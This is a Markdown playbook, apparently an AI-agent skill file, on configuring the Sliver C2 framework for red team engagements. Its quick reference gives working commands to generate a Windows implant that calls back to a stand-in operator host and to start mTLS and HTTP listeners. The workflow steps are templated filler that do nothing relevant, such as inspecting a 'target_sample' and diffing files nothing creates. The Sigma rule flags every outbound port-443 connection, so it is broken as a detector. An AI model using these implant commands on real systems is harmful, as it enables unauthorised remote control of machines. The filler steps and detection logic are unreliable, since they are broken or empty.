<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
---
name: configuring-sliver-c2
description: >-
  Configure Sliver C2 framework for implant generation, listener management, and operator collaboration in red team engagements.
domain: cybersecurity
subdomain: c2-frameworks
tags:
  - sliver
  - implant
  - mtls
  - wireguard
  - open-source-c2
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1071", "T1573"]
  cwe: ["CWE-300"]
  tools: ["Sliver", "sliver-client", "armory", "cfssl"]
---

# Configuring Sliver C2

## Overview

Configure Sliver C2 framework for implant generation, listener management, and operator collaboration in red team engagements.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `Sliver` | Security tooling |
| `sliver-client` | Security tooling |
| `armory` | Security tooling |
| `cfssl` | Security tooling |
| Isolated lab environment for testing | Environment requirement |
| Authorization and signed Rules of Engagement (RoE) | Environment requirement |
| Relevant target samples or systems acquired through authorized channels | Environment requirement |

## Quick Reference

```bash
# Start Sliver server
sliver-server

# Generate implant
sliver > generate --mtls myc2.example.com --os windows \
    --arch amd64 --save /tmp/implant.exe

# Start MTLS listener
sliver > mtls --lhost 0.0.0.0 --lport 443

# Start HTTP listener
sliver > http --lhost 0.0.0.0 --lport 80 --domain myc2.example.com

# List active sessions
sliver > sessions
```

## Workflow

### Step 1: Preparation and Reconnaissance

```bash
# Identify target and gather initial intelligence
file ./target_sample
sliver --version 2>/dev/null || echo "Install Sliver"

# Set up working directory
mkdir -p /tmp/configuring-sliver-c2/{output,logs,artifacts}
```

### Step 2: Primary Analysis

```bash
# Execute primary analysis with Sliver
# Refer to Quick Reference above for detailed commands
echo "[*] Running Configuring Sliver C2 with Sliver..."

# Log all operations
script -q /tmp/configuring-sliver-c2/logs/session.log
```

### Step 3: Deep Investigation

```bash
# Apply sliver-client for secondary analysis
echo "[*] Deep investigation with sliver-client..."

# Cross-reference findings
diff /tmp/configuring-sliver-c2/output/primary.json /tmp/configuring-sliver-c2/output/secondary.json
```

### Step 4: Documentation and Reporting

```bash
# Generate structured findings report
cat <<'EOF' > /tmp/configuring-sliver-c2/output/report.json
{
  "technique": "configuring-sliver-c2",
  "domain": "c2-frameworks",
  "tools_used": ["Sliver", "sliver-client"],
  "findings": [],
  "recommendations": []
}
EOF
```

## Detection

```yaml
title: Sliver C2 Detection
id: dd5ed69e-6caf-4713-8ddb-3b3fe6ea09c3
status: experimental
description: Detects suspicious activity related to configuring sliver c2 techniques in c2 frameworks context
logsource:
  category: network_connection
  product: windows
detection:
  selection:
    DestinationPort: 443
    Initiated: "true"
  condition: selection
level: high
tags:
  - attack.t1071
  - attack.t1573
  - attack.command_and_control
falsepositives:
  - Authorized penetration testing tools during scheduled assessments
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Sliver C2 Detection | windows/network_connection | Sigma rule (high) |
| ATT&CK Coverage | MITRE ATT&CK | T1071, T1573 |

## Verification

- [ ] Environment and tools verified and operational
- [ ] Target samples acquired through authorized channels
- [ ] Primary analysis completed with findings documented
- [ ] Secondary validation performed with independent tooling
- [ ] All artifacts preserved in structured output directory
- [ ] Detection opportunities documented for blue team

## References

- [MITRE ATT&CK T1071](https://attack.mitre.org/techniques/T1071) — Related technique
- [Sliver Documentation](https://sliver.org/) — Primary tooling
- [sliver-client Reference](https://sliver-client.org/) — Secondary tooling
